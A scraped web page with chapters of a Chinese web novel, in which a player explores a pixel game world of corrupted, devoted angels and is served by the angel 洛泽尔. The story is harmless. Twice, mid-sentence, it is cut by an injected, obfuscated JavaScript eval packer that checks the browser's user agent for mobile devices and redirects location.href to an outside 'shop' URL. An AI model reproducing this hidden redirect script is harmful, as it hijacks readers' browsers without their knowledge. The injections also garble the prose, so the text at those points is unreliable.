在所有天使迫切的视线中，目光焦点缓缓出声。 “我会亲自去探寻。” 领头的人有着一头铂金色的短发，浅色的蓝瞳垂在长睫下，遮掩着神色，看不太真切。 对比起其余天使统一的长发和长袍，这名天使显得另类又利落，左眸的单片镜片缀着淡金色的链子，挂在耳翼之后。 他目光遥望，头顶的光环色泽明净，朦胧美丽的光晕下，嘴角的弧度没有任何改变。 “为神国，迎来它的主人。” …… 洛橙并不知晓有天使因他而心神大动，正操纵着手机里的像素小人在周围转悠。 自从他输入完对这些……唔，好吧，暂时默认他们是天使的印象后，这些外表有些可怕的家伙们看上去更乖了。 他们虽然一直黏着洛橙，却只会乖乖地跟在洛橙背后，好似洛橙是什么大魔王一般，沉默又可靠地当着洛橙的背后灵，洛橙一回头就能看到守在自己不远处的他们。 【（开心）】 【（开心）】 【状态：幸福】 无论是哪一只天使，冒出的气泡代表的心情都好得要命。 看在这群天使们这么乖巧的份上，洛橙也忘记了自己先前决定不理会他们的打算，忍不住又摸了摸不知不觉来到最靠近他位置的那一只天使。 明明先前的想法看上去那么复杂，被摸摸之后反而一下子和大家融在了一起。 洛橙被萌到了，窝在沙发上蜷起双腿。 洛橙：好可爱！决定再多喜欢他们一点点ovo 新手地图很大，操作界面上还没有地图。 洛橙操纵着小人在偌大的森林里乱转。 这个世界无论是什么东西都很大。 跟在他身后的那群天使是这样，这座森林也是这样。 那些树木都枯萎了，垂落在地面上的树叶只剩叶骨架子还老高老高了，洛橙比划了下，感觉屏幕里的小人躺在上边睡觉都问题。 “感觉你们不应该叫天使，而应该改名叫巨人。”洛橙一本正经地对着他们说，“长这么大只可是会被抓起来当抱枕的。” 游戏里的天使们能知道什么呢？ 他们什么也不知道，只知道忠心耿耿地跟在自家神主身后。 天使们是没有任何声音的，洛橙先前见过他们沟通，可是那些声音传过来时就是一片嘈杂的乱语，洛橙听不懂——起码现在的洛橙听不懂。 他判断这些天使想要做什么的时候，完全是看他们头顶的气泡来的。 ……但就算是气泡，也不是时时刻刻都有的，只有在天使们情绪波动比较大时才会出现。 想到这里，洛橙瞄了一眼背后的天使们。 ——然后被一串花花糊了眼睛。 洛橙：…… 洛橙：好、好吧，但是一直对我撒花花也不是事啦！（严肃 在杂草都快比洛橙高、树梢垂落的蔓藤如巨蛇一样吓人的情况下，洛橙逛着这里就像是逛着野炊地点一样。 看出神主兴致勃.勃想要探索此地的天使们不愧于自己的护卫身份，一部分大狗狗一样跟在洛橙背后，一部分赶在洛橙到来前，就把他前行的障碍全部清理掉了。 不好看，掰掉！ 有危险的，砍掉！ 就连平日里路上看上去就叫人心生不安的淤泥坑，也被深色的羽毛盖住了。 纵使天使们千方百计，但还是有漏网之鱼出现在洛橙面前。 就比如这根洛橙快要跨过去的巨大树桠。 它被折断在土里，露出地面的部分高高悬着，三分之二的枝梢处还垂落几颗萎缩发黑的、类似果实一样的东西。 那些果子同样很大，占据的像素点堪比洛橙的脑袋。 洛橙有些好奇，只是抬眼盯了它们一会，这些本应和本体一样烂在土地里的果子就摇晃了一下，下一秒，奇异的事情发生了。 干枯的树桠温顺地垂落，像是在朝自己的君主低头，那原本缀在洛橙头顶好一段距离的果子，就这么弯垂到了洛橙面前，触手可及。 兴许是为了讨好洛橙，它的躯干更枯萎了，与此同时，那颗垂到洛橙面前的果子，颜色更鲜亮润泽了几分，看上去更诡异了。 洛橙：…… 洛橙迷迷瞪瞪的：好、好像是被一截树献了殷勤…… 洛橙感觉怪怪的，但放在游戏里，似乎又没有任何怪异的地方了。 他迟疑了那么一秒，还是决定伸手接过果子。 就算有毒，反正是游戏，应该也没关系吧…… 在洛橙真下口之前，天使们大惊失色——洛橙也不知道自己怎么从像素怪诞画风的天使们脸上看出大惊失色的，但是他们头顶的气泡上，代表震惊的感叹号闪了又闪，然后几乎是焦急地把这节朝洛橙献殷勤的树枝丢过一边去了。 就连那个先前还有点躲着洛橙感觉的天使，都非常严肃地站在洛橙面前，头上重新冒出乱糟糟的黑线气泡。 简直像是什么操心的大家长。 洛橙：？ 洛橙的目光飘忽了一下：就，感觉他们好像把自己当成了玻璃小人一样诶？ 他有这么弱吗？ 洛橙审视了一下屏幕里的自己。 站起来还没有天使们的二、呃，三，不是，总之大概只有他们的五分之一高。 对比起来可太分明了。 ……唔。 好吧。他很弱。 洛橙干咳一声，若无其事继续探索。 已经被黑雾侵蚀了大半神智的低阶天使，唯有本能依旧在运转着。 守卫神主，保护神主，满足神主一切需求。 天使们气势汹汹的，恨不能将遗弃之地立刻改造成最安全舒适的乐园，好让小神主尽兴。 在严防死守下依旧出现疏忽后，这些天使们看上去情绪明显不好起来了。 这里是他们生活过的地方，却不是一处好的地方。 哪怕遗弃之地现在仅剩这些低阶天使了，危险的因素几乎不计，天使们还是想要恪守自己的职责。 ……虽然，对于神主而言，这些或许都不重要。 何况他们方才还没做好QAQ 总而言之，神主是没有错的！ 新生的小神主只是想多了解一下他的领地而已，错的是不尽职的他们！ 洛橙看到，这些不久前还恨不能洒满满屏幕小花的天使们，在这一瞬间，竟然重新复杂起来了。 他们脑袋冒出的气泡，一个比一个忧郁。 洛橙：？ 洛橙戳了戳那些气泡，看到它们在自己的指尖下变成难过的哭哭脸。 “小可怜，”洛橙将手机举近，摸了摸那些下着小雨的气泡，“怎么又伤心了呢？” 可惜游戏里的天使们听不到洛橙的话，游戏屏幕里也没有出现新的选项，洛橙只能继续操控小人到处乱逛。 没有地图，没有图鉴，加上一群天使在洛橙身后随时可以上场，洛橙探索起这片地图时就更肆无忌惮了。 这片森林没有任何活物，走动的时候，游戏里的音效声甚至只有他自己的脚步声和轻缓的呼吸声。 明明色调很暗沉，手机里传来的音乐却格外温柔悦耳。 如果闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588495|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛的话，甚至给人一种漫步在春日森林里的错觉。 清泉流动，鸟儿舒展歌喉，明净的日光透过林梢树缝洒向开满野花异草的地面上。 一旦睁开眼睛，看到的又是这片残败的森林。 “你好~请问有人在吗？” 洛橙试图站在高处看，但是因为太小个了，还差点摔下来，吓得一众天使急忙围过来在地上做天使垫子。 “喂喂，有小动物在么~” 洛橙看见一颗巨木下有一个洞，那原本生存着不知道什么生物，洛橙探头过去的时候，发现这个洞穴刚好可以容纳下他。 洛橙钻进去，遗憾地发现洞里什么也没有。 他也没急着出来，犯懒了，cos松鼠蹲下来一动不动的。 担心他的天使们忍耐了又忍耐，还是没忍耐住，用一双双比洛橙脑袋还大的红色像素点眼睛过来注视自家新生的小神主。 小神主太小了，对于这些无法自由操纵自己体型的低阶天使而言，他们甚至可以将神主捧在自己的手心里。 小小一只的神主藏进洞里时，天使们无法不担忧神主像他突然出现那般，又突然消失。 所以等洛橙出来，又看到了和自己一开始进入游戏时几乎一模一样的场景。 无数对猩红的眼球，目不转睛地盯着他。 洛橙：…… 被这么盯着不放，洛橙反倒有些好奇了。 “明明平时的时候是偏灰似黑的眼睛，怎么情绪一激动就变成红色的呢？”他嘟囔着。 被无数天使忧心着的小神主从树洞里爬了出来，开心地继续自己的探索。 神主无知无觉地巡逻着自己的领土，这片向来只有死寂环绕的土地，在废弃已久后，第一次迎来了自己的主人。 而以往给人阴冷腐蚀感觉的黑雾，竟然难得地收敛了起来。 它此时就像是真的假装自己是一层浅淡轻薄的雾气，只是颜色较深，但没有任何危害。 黑雾平日里是从下向上蔓延的，此时却只有些胆怯般萦绕徘徊在洛橙脚边。 洛橙什么也不知道，以为这只是普通的环境表现。 地图很大，没等洛橙摸索多久，屏幕里忽然冒出了一个提示。 【疲惫值+1】 洛橙无视并继续走。 【疲惫值+1】 洛橙：？ 【疲惫值+1+1+1】 【（标红）疲惫值过大会导致不好的后果哦，请您尽快补充体力值！（标红）】 洛橙鼓起脸颊：“只有提醒有什么用，你倒是告诉我怎么补充体力值啊？” 但凡有个氪金选项，洛橙都毫不犹豫氪进去了。 ……不对。想到这里，洛橙恍然大悟：这个游戏的氪金渠道呢？！ 洛橙试图翻找，依旧没有找到。 最后洛橙将之归为内测版的特性，毕竟还是内测，没有氪金渠道也很正常…… 想到这里，洛橙作为玩家的叛逆心又悄咪咪冒出来了。 他还真想知道，如果疲惫值过高会怎样。 想到就去做，洛橙的兴致一下被勾起来了。 他继续一通乱逛，满意地看着疲惫值的提示不断从正常变得深红。 【您不听劝阻，疲惫值+99】 洛橙眼睛亮闪闪的，期待接下来会发生什么。 【……】 【…………】 长久的沉默。 像是在苦恼过于叛逆的玩家。 好半晌后，游戏阴森森冒出了一个红得滴血的弹窗出来。 【您的体力值濒临耗尽】 【您因过度疲惫，出现了幻觉。】 下一刻，洛橙发现自己对屏幕里的小人失去了控制。 棕毛粉眸的像素小人气势汹汹地推开了试图拦在自己面前天使们，跑到先前被丢过一边的树枝那里，迅雷不及掩耳之势将明显有毒的果子摘下。 他一口咬下去！ 屏幕里，所有的天使头顶都冒出了剧烈的感叹号。 【！！！】 【（惊恐）】 【您不顾眷属阻拦，吃了有毒的果子，心情-1】 【您中毒了，心情-1】 【果子发现被您吃下的自己有毒，伤害了您，倍感伤心，心情-999】 【果子彻底失去了生机。】 【（果子留下了遗言：下辈子，一定要长成最好吃的果子献给神主赎罪！！！）】 洛橙：…… 洛橙：……………… 洛橙大惊失色。 不是，等会？？？ 游戏不管洛橙此时的震惊，还在继续给他补刀，不停冒出新的提醒。 【您已中毒】 【您的眼前出现了幻觉，您倒头就睡】 【您获得成就：神农尝百草】 【成就评价：啊？】 4. 004 被迫中毒倒头就睡的洛橙：…… 中、中毒了？！ 这个游戏竟然还能开局就中毒的吗？！洛橙震惊。 ……虽然导致中毒是因为洛橙想试试看疲惫值过大之后会导致什么后果弄出来的。 看着一连串提示，又看着从第一人称变成第三人称视角里冒出“zzZ”气泡的小人，以及无比担心围上来的天使们，洛橙此时的心情非常之复杂。 成就系统刷出来了，按理来说，这是个好事。 但是吧。 洛橙瞄了一眼成就评价，对这个简单至极的【啊？】字，总有种被嘲讽了的淡淡忧伤感。 还有就是，洛橙纳闷起来：“受伤的明明是我诶，这颗果子干嘛想不开？” 不过，洛橙还是没忍住戳了戳屏幕里一下子枯萎掉的果子。 “真的会长成最好吃的果子来找我么？”洛橙还真有点期待。 这颗果子毒性并不高，屏幕里，小人睡得很是安详。 天使们顶着哭哭脸气泡，手足无措围在小人身边，像是一群被抛弃的大狗狗，搞得洛橙都有些心虚起来——虽然他也不知道自己为什么要心虚。 在黑屏的过程中，洛橙去看他多出来的成就。 忽略成就怎么得来和评价的，这个成就让洛橙空荡荡的页面终于多出了一个新的图标。 像是书本一样的东西，以【图鉴】的名字出现在画面的右下角。 洛橙充满好奇地点开。 目录此时只有一个空荡荡的【成就】，点开的第一页就是这个【神农尝百草】。 收录在图鉴里的画面并不是游戏截图，更像是用可爱的画风画出的小漫画。 棕毛粉眸的小人圈圈眼吐着白沫倒在地上，天使们焦急得团团转，表情全是悲伤的哭哭脸。 和系统的评价不同，图鉴的评价说不清是委婉还是毒舌：【夕有神农尝百草，现有神主尝毒果。您是非吃这个奇怪的、一眼有毒的、怪异的果子不可吗？】 洛橙：…… 被内涵的洛橙：……可恶！ 喜欢作死的玩家可听不得这个吐槽。 好一会，洛橙的屏幕才恢复正常，视线重新变成第一视角。 中毒的表现很奇妙。 洛橙的游戏界面先是一瞬间漆黑掉了，然后恢复视野的屏幕里，有无数绚丽的彩色开始出现。 明明在正常视野下还是怪诞的像素画风，中毒了反而向来近视的人蓦然带上了一副奇妙的眼镜，世界在眼里骤然变化得不一样了。 天空的黑日变成了五彩斑斓的黑，那些干枯的树木像是蛇一样缓缓爬行，又在洛橙注视的时候，温顺地伏在地面上。 反而是周围那些原本模样怪异的天使们，在中毒的视角下，褪去了惊悚，露出极为美丽的一面。 猩红不详的眼睛变成了石榴籽一样漂亮澄澈的红，那被腐蚀的血肉翅膀依旧很是庞大，羽毛却变得蓬松又柔软，像是新雪一样，洁白得不可思议。 他们围绕在洛橙周围，头顶枯萎已久的树也在枝梢长出了霜晶一般的叶子，在昏暗黯淡的环境下，竟然还有点奇异的美感。 洛橙看见自己头顶冒出了一串旋转的小星星，好半晌，视野才恢复正常。 他叹气：“疲惫值原来是这样的，过于疲惫之下，什么抽象的操作都能整出来。” 弹窗提醒洛橙：【请您尽快补充体力】 “真是的，就知道弹这个，你倒是把补充体力的途径甩出来啊！” 洛橙觉得游戏这点不行。 有毒的果子最后被天使们收掉了。 这些低阶天使，就像是溺爱孩子过头的家长们，在洛橙中毒晕倒的时候，就已经把那节树枝给毁尸灭迹了。 至于收起来的果子去了哪里……这是个永恒的谜题。 找不到补充体力的途径，再看着自己头顶猩红的体力值，洛橙安详躺下。 算了。不管如何，休息就对了吧？ 但洛橙这番举动显然吓到天使们了。 他们嗡嗡地发出声音，可惜洛橙听不懂，索性假装没听到。 一副躺死在地上的耍无赖模样。 窸窸窣窣。 有什么靠近的声响。 阴影覆盖。 洛橙转头过去，看见一位天使单膝跪下，小心翼翼地接近他。 洛橙的注意力转向这个朝自己靠近的天使。 在一群奇形怪状的家伙里，这只天使应该算是最好看的一个。 对方明显比其余怪物要精致矮小一点——指：像素比起其他家伙的深灰，他更像是蒙了一层灰纱的雪，代表眼睛的地方也和头发一样像冬季雾蒙蒙的天空——他的身形显然也有快两个洛橙那么高大。 洛橙只是注视了对方一会，屏幕里就出现了异样。 一个金色的名字在对方头顶浮现。 【洛泽尔】 “咦，竟然有名字？” 洛橙倍感新奇，忍不住在沙发上直起了身体。 这是他在这个游戏里看见第一个有名字的眷属。 如果洛橙没有记错的话，这个拥有名字的天使，俨然就是先前那群天使里叫洛橙印象最深的。 他的情绪相当复杂，比起其余天使恨不能时时刻刻黏在洛橙的表现，他看上去似乎有一些腼腆害羞，先前也只是藏在天使群里。 但是现在，他竟然主动过来了诶！ 洛橙本想看看能不能查询更多的信息，但发现无论怎么摸索，只能看见这个最基础的名字。 洛橙顿时打起精神，决定观察对方要做什么。 名为洛泽尔的天使温顺地垂首在洛橙面前，小心翼翼地朝洛橙探出手掌。 他发出难以明晓的呓语，声音格外的悦耳，像是晚间细雪压过松柏的簇簇声。 说完话之后，音效声里便只剩下了分不清是谁的、极为轻缓的呼吸声。 洛橙却不明所以，站在原地看着他不动。 洛泽尔似乎弄错了洛橙的意思。 天使歪了歪头，头顶冒着疑问的气泡啪叽破开，然后像是恍然大悟那般，面无表情冒出一个小灯泡，在洛橙面前舒展开了自己的翅膀。 和旁处那些天使不同，他的翅膀很完整，颜色是更清浅的灰调。 在他舒展开翅膀的那一刻，洛橙感觉到自己视野微微一暗。 下一个，一个巨大无比的天使，几乎占据了洛橙整个游戏屏幕，出现在洛橙面前。 对方很高，即便半蹲在洛橙面前，那种巨物恐惧感也扑面而来。 在他垂眸时，那双灰色的瞳孔就像是宇宙深空中的月亮，在不折射太阳光芒时，有种偏机制的霜寒淡漠。 洛橙先前还以为他是比较弱小的那一类，像是瘦弱的小狗。 然而现在，这只可怜的小狗，冷不丁地掀开伪装，说自己才不是什么柔弱无力的狗狗，而是吓人恐怖的地狱三头犬。 然而洛泽尔什么都没有做，他再一次朝洛橙递出手掌。 洛橙不明所以，就见到这只大天使将手掌朝自己的脚尖靠。 洛橙：？ “这是在示意我踩上去么？” 洛橙思索了一下，在对方安静的等待中，试探着踏上的对方的掌心。 名为洛泽尔的天使，脑袋上的气泡重新冒出了可可爱爱的小花。 下一刻，洛橙视线就被抬高了。 和缓的风声、翅膀拍动的细小嗡声，组成了此时的音效声。 沉默巨大的天使，捧着新生的小神主，飞到了一处极高的树木上。 森林里有很多又高又壮的枯树，由于第一视角和身高限制，洛橙很难看清到树冠的位置。 被洛泽尔带上来后，洛橙发现，原本他以为了无生机的这处地方，在最高处，竟然还有一点不起眼的生机残存。 最尖端狭小的枝桠上，垂着一颗极小极小的红果。 红果在肉眼可见的速度中变得饱满起来，艳丽得如同流动的鲜血。 像是被藏在洞穴深处的红宝石，在神主望向它的那一刻，被忠心的仆人主动奉到洛橙面前。 这枚红果对比起其他东西实在太小了，对于洛橙而言却刚刚好。 毕竟果子和小人手掌的像素差不多大小嘛！ “给我的吗？” 洛橙看看自己伸手就能摘到的果子，再看看变得超大只载自己过来的洛泽尔。 洛橙：ovo？ 对方这是告诉他，这才是能吃的东西么？ 感觉有点像是在被哄诶。 【您的眷属为您供奉了一枚林果，您的反应是：】 【这么寒酸的东西也配献到我面前？责骂他】 【虽然只是普通的林果，但看在心意的份上，倒也不错了，点点头示意收到了】 【终究是不功不过的小事情，无视他】 第一个选项看上去很过分，第二个和第三个选项倒是正常多了。 不过洛橙什么也不选。 “搞什么呀，这么贴心的眷属宝宝当然是要狠狠地夸夸他啊！其他选项呢，赶紧出来。” 洛橙狂点旁边的屏幕。 【请您选择】 无视，继续点空白屏幕。 【请您选择】 继续无视继续点。 【请您选择】 洛橙不为所动，他不信这个游戏只有这三个选项。隐藏选项嘛，都是摸索出来的！ 就这么重复了十几次后，游戏像是妥协了一般，原本的选项消失了。 与此同时出现的是一个新的弹窗。 “哼哼，这就对了嘛。” 洛橙心满意足，好整以暇地看游戏会提供什么。 在等待中，弹窗出现新的内容。 【您的眷属为您供奉了一枚林果，您似乎不太满足，想要继续提出新的要求么？】 【您决定：__________】 既定的选择，被可输入的文字框替代了。 描述上的变化开始有些微妙起来，洛橙却没有发现这点文字小游戏。 他只是开开心心地输入自己想输入的文字。 【没有要求，夸赞他→】 【请输入夸赞内容：__________】 “好乖好乖，谢谢你，我很喜欢喔！” …… 洛泽尔的心情从未如此轻松过。 就像是心脏被单独泡在了温泉之中，连昔日空洞的灵魂都被填满了，所有的感知都陷入在暖融融的满足中。 神主没有抛弃他们，只是在以往的时日，遗憾地未能出生在这个恭候他到来的世界。 但新生的神主太弱小了。 看上去很小的一只，轻易就能被捧在手心里。 即便是神国初生的天使，身形也要比神主大上不少。 神主没有可以飞翔和用来作为武器的武器，四肢修长却柔软，就像是不设防的琉璃小人，大一点的风都能将他吹到。 天使是体型巨大的种族，只有高阶天使才能掌握变化的能力。 但奇怪的是，所有高阶天使在掌握自由变化的能力后，都会本能般让自己维持在一个对于天使而言非常娇小的体型。 以往的洛泽尔从未深思过这个原因，直到此时，洛泽尔隐隐明白原因了。 因为他们的神主是如此，跟随神主的天使，自然会下意识地偏爱和神主一样的外形。 新生的神主好奇、活泼，好像对所有的事物都抱着很大的热情。 但洛泽尔没有想到，新生的神主既然会因为误食一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588496|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通常见的果子而晕倒。 这颗果子对于天使们而言，仅仅只能说是味道不好。 遗弃之地哪有什么好东西呢，适者生存，连带所有勉强存活下来的东西，都有了污染性。 它被黑雾能量的侵蚀，便也带上了一丝细微的黑暗能量。 这点黑暗能量甚至还不如在遗弃之地一个来回呼吸被吸入体内的来得多，天使们清理它也只是怕它太过丑陋污染到神主的眼睛。 可神主却给他们打了个回马枪，当他蓦然吃下这颗果子时，天使们都完全没反应过来。 看上去完全不被遗弃之地黑暗能量影响的神主，在误食一颗含着微小黑暗能量的果子之后就闭眼倒下。 天知道，在看见那一幕的时候，在场的天使们差点吓得心脏骤停。 “神主！” 洛泽尔第一时间为神主检查身体。 他感到深深的失职和愧疚。 洛泽尔想，他不应该远离神主的。 不能因为自己此刻的残缺，而疏远神主。 遗弃之地的天使，又有哪一位能比他更有守卫神主的资格呢？ 他不正是为了寻找神主的踪迹，为了那一点几近于无的希望而来的么？ 洛泽尔的眸色一点一点的深了起来，凝稠得像是失去了光泽的昭潭。 他第一次在神主清醒的情况下，主动朝神主走近。 在可以自由变化身形后，天使们一般会保持拟态。 最类神主的身形，便是最美的。 有了这个能力之后还无端恢复原态，在高阶天使们的认知里便会显得野蛮。 可是现在，洛泽尔却主动恢复了自己的原态。 他也曾是很美丽的天使。 作为神国三大圣天使之一，洛泽尔向来沉默、安静，如同雪山上的寒松，在簇簇白雪下无端清冽。 可在洛泽尔主动踏入遗弃之地，并在这徘徊不知几何年月之后，他的容貌、力量、灵魂，全都被黑暗侵蚀了。 没有天使不喜欢纯净与无暇，那么，被天使们追随信奉的神主呢？ 他会讨厌自己吗？ 会厌恶自己的造物出现瑕疵么？ 这样的担忧，在看见神主倒下的那一刻全部如雪一样消融了。 掩下所有的情绪，洛泽尔恭敬地朝神主询问：“主，我可以为您服务吗？” 天使们并不需要如常人一样进食，他们维序生命活动的关键是能量，食物更多的只是满足口腹之欲，只要蕴含能量，连石头都能算是食谱。 但遗弃之地并不是没有可以入口的东西。 这枚小小的红果就是其中之一。 它叫双生果，生长要求极为苛刻，不能有任何污染不说，还只在特定的时间里才能生长。 长出来后正常模样应该是银白色的，香气浓郁，口齿留香。 成熟后五分钟内要被摘下，否则就会在枝头腐烂，自我毁灭；摘下后，如果不立刻进食或者使用手段保存，过了时间，它也会一点一点化为无形的能量消散。 但想令它生长还有另一个办法。 能量精纯的血肉，也能使它成熟盛放。 只是这个时候，双生果会变成红色，小小的一颗，像是天使的一滴血液，也像是人类的一颗心脏，在灰暗黯淡的环境下，鲜艳润泽得不可思议。 银白色的果子，含着最精纯的能量，能够温养精神，香气浓郁，却食之无味；红色的果子，由血肉孕育，口感极佳，却没有任何作用，只能让使用者在进食那刻，产生一点微不足道的满足感。 这便是双生果名字的由来。 不同的孕育过程，会生出不同的果子。 被洛泽尔呼唤的时候，神主并没有露出任何异样的表情。 神主的眼睛纯真又懵懂，望着他的目光带着点不遮掩的好奇和打量。 明亮的光泽在少年的瞳孔中闪烁着，这是遗弃之地从未出现的明净璀璨。 他静静地注视了洛泽尔一会，然后接受了洛泽尔的请求。 当神主踩上洛泽尔掌心的那一刻，洛泽尔的心脏似乎也因那细微轻巧的力度而颤动了一下。 神主太小了，轻飘飘的，体重对于天使而言甚至还不如一根羽毛重。 好像他稍微用力，就会让神主如同朝露泡影一般消散在他的手中。 但神主没有消失。 他依旧好端端的、暖融融的，像是只才初生不久的小鸟，乖巧地、完好地待在洛泽尔的手心。 和天使们像是石头一样冰冷的体温不同，神主连体温都是温热的。 那么一小点落在洛泽尔的掌心，捧着一颗极小极小的红果，仰着雪白的小脸，眼睛漂亮得不可思议。 “好乖。” 新生的小神主，捧着那颗似血似心、用血肉浇灌出来的红果，赞扬了他忠诚的眷属。 被王、夸赞了…… 从来都是波澜不惊的心脏，在这一刻，从未如此清晰地跳动起来。 洛泽尔深深地垂着头，表示自己永恒不变的忠诚。 而神主却在下一秒，示意洛泽尔继续垂首朝自己靠近。 洛泽尔不明所以，却乖巧照做。 巨大的天使，俊美不似真人，眼睛如同薄雾里朦胧的晚月。 神主伸出小小指尖，呼吸浅而淡，摸在天使脸颊的力度极为轻缓。 “谢谢你，我很喜欢喔。” 明明是此世从未出现过的语言，那带着几分笑意的声音如同在水面跃动着的日光，轻快地跳进了洛泽尔的脑海里。 ……什么是喜欢呢？ 感情淡漠的天使不理解这个词。 但是，明明此时什么也不懂。 洛泽尔的心，也和遇见了日光的雪一样，消融在神主的目光里。 5. 005（小修） 洛橙捧着洛泽尔带他摘的果子，小口小口地咬。 屏幕里的小人慢吞吞啃完了之后，体力值终于慢慢恢复了。 吃完果子之后，小人头顶慢悠悠冒出一个“……”气泡。 洛橙好奇地点了点。 小人：【很奇怪，这颗果子是血的味道。】 小人：【比起像血液的果汁，鲜血或许会更好闻一些。】 “血？”洛橙疑惑，“这个游戏没有正常的果子么？” 要么中毒，要么是血液味道的果子。 还有，“这是什么奇怪的台词？”洛橙困惑地歪了下脑袋。 难不成他在这个游戏里的人设是“无聊，我要看到血流成河”那种？ 洛橙越想越觉得这个猜测十有八九，毕竟，看看这个怎么看怎么不对劲的新手地图，和他那群显然和常规意义上天使截然不同的眷属们—— 要不是这游戏是像素画风，这些起码得打个马赛克吧？ 但洛橙记得《创世界》的游戏宣传语是温馨治愈啊。 洛橙：糟糕，难道下错游戏了？ 赶紧翻出来看看——哦，是三无小厂内测版啊，那没事了。 货不对路很正常，没有游戏可玩的洛橙原谅一切！ 就在洛橙自娱自乐时，名为洛泽尔的天使静静地守卫在旁边。 【……】 他不知何时重新变回了原来的大小，无声无息地站在洛橙身旁。 这只天使头顶上同样冒着气泡，只是和洛橙可以戳出详细文字的气泡不同，现在的洛泽尔头顶的气泡小鱼一样咕噜噜地吐着泡泡，可惜的是，吐出的泡泡全是没有任何意义的省略号。 【……】 【…………】 “你在想些什么呢？” 看着一串串沉默的省略号，洛橙再一次对这位名为洛泽尔的天使感到好奇起来了。 他的这位天使，好像有点忧郁多思诶。 天使也会有不为人知的烦恼么？ 不知道在想些什么的天使展开羽翼，为洛橙遮挡空中逐渐炽热的光芒。 黑日看上去很唬人，落在游戏屏幕里，就像是一个普通的装饰物。 随着时间的流逝，屏幕里的光线也在变得明亮。 但有洛泽尔跟在身边的洛橙，看到的视野一直有一处有着浅淡的黑影。 ——这个体型的洛泽尔，也会带来这么大的阴影么？ 洛橙有些迷糊，看着屏幕里安安静静乖乖巧巧的大天使，忍不住伸出指尖戳了戳他。 和其他的小游戏不同，这个游戏的互动性一下强一下弱的。 要是在别的小游戏那里，洛泽尔早就被洛橙戳出各种各样的反应了，再自由性强一点的游戏，还能将对方戳倒在地，又或者拖拽他去到不同的地方。 可在这个游戏，洛橙只能在洛泽尔的脸颊和头顶摸摸。 “好奇怪哦，天使怎么会没有光圈呢？” 这也是洛橙疑惑的地方。 他左瞧瞧右看看，都没能从洛泽尔头上找出光圈。 “是这个世界文化的影响么？” 要是有光圈的话，洛橙也不会在一开始把这群天使当做是怪物了。 但除却背后那对翅膀的话，洛泽尔身上还是带一点符合洛橙以前世界对于天使的认知的——他的耳朵处，生着一对灰色的耳羽。 这对耳羽很是内敛，紧紧贴在两侧，被洛泽尔垂落的长发遮掩。 若不是现在洛橙仔细观察，还真发现不了。 洛橙来了兴趣，忍不住去摸了摸洛泽尔的耳羽。 【——、——】 洛泽尔的气泡忽然一顿。 洛橙并没有发现，像是摸索彩蛋那般，对着这对耳羽戳来戳去。 在洛橙戳着戳着的时候，一直低着头的洛泽尔忽然看向了洛橙。 第一视角的游戏里，蓦然出现了洛泽尔放大的脸。 就算是像素画风，也能看出精绝美貌的天使，用那一双灰色的眼睛静静地注视着洛橙。 那一直咕噜噜冒省略号的气泡也在这一刻的注视下“啪！”的碎开，变成一个小小的问号。 【您的眷属察觉到了您的注视】 【洛泽尔心情+1】 【您的眷属被您触碰，有些不知所措】 【洛泽尔心情+99】 【您的眷属发现了您一直在注视着他】 【洛泽尔心情+999】 【洛泽尔此时状态：（幸福）（头晕目眩）（被魅惑）】 【洛泽尔似乎发觉了您的需求，请问您是否有任务要交给他完成？】 【请您下达命令：________】 原本只是手痒想戳戳洛泽尔的洛橙手指一顿：嗯ovo？ 怎么回事，发生了什么？ 这个状态里写的是什么奇怪的东西？ 洛橙没有第一时间点输入，而是继续仔细观察。 无论游戏的人物是什么表情，在像素下，他们都是面无表情的。 可是现在，代表着心情愉快的花花再一次开在了洛泽尔的气泡里，除却花花，还有其他图案一闪而过，根本不给洛橙看清楚的机会。 而弹窗下也多出一行小小的粉色文字，细心的人就能瞧见。 【您的眷属此时心情极佳，无论提出什么要求，他都绝对不会拒绝您哦~】 这一行文字更像是一个小小的事件，偶然又随机，被洛橙触发了。 洛橙轻轻地哇了一声。 像这样【绝对不会拒绝】的描述，既然只需要简单地对洛泽尔注视，就能够被触发出来吗？ 洛橙很是新奇，看着站在自己身侧展开翅膀为自己遮挡天上热意的洛泽尔，后知后觉的冒出一点小小的不好意思。 这个时候，洛橙才有一点这些天使真的是他在游戏里的眷属的感觉。 旋即，一点古怪的新奇和兴奋感将洛橙的眼睛染得亮晶晶的。 游戏过于刻板也不行，但太自由也不行。 这对于玩家而言完全就是考验嘛。 起码现在，洛橙就在蠢蠢欲动。 真的可以什么都填吗？ 坏心眼的洛橙决定尝试一下！ 他输入文字。 奇怪的是，这次游戏竟然冒出了一个提醒。 【您确定吗？一些不合理的举动可能会导致不好的结果发生喔？】 红色的文字看上去颇有几分危险的意味。 就连屏幕里被洛橙注视的洛泽尔，也在被要求那一刻，抬起了灰色的眼睛。 暗示洛橙可以为所欲为的是它，现在装模作样的也是它。 洛橙看了看自己输入的文字，并不觉得自己写的有什么问题。 洛泽尔自己都表示【绝对不会拒绝】了，他怎么就不能提要求了？ 洛橙很自然地朝对方伸手，理直气壮：“抱。” 既然是眷属的话，那么王的命令是必须要听从的，对吧？ 作为多少带着点任性自我的玩家，洛橙百无禁忌地在空白处继续填写。 【洛泽尔。】 【你会听话的，对吗？】 -- 被神主注视的感觉很是奇妙。 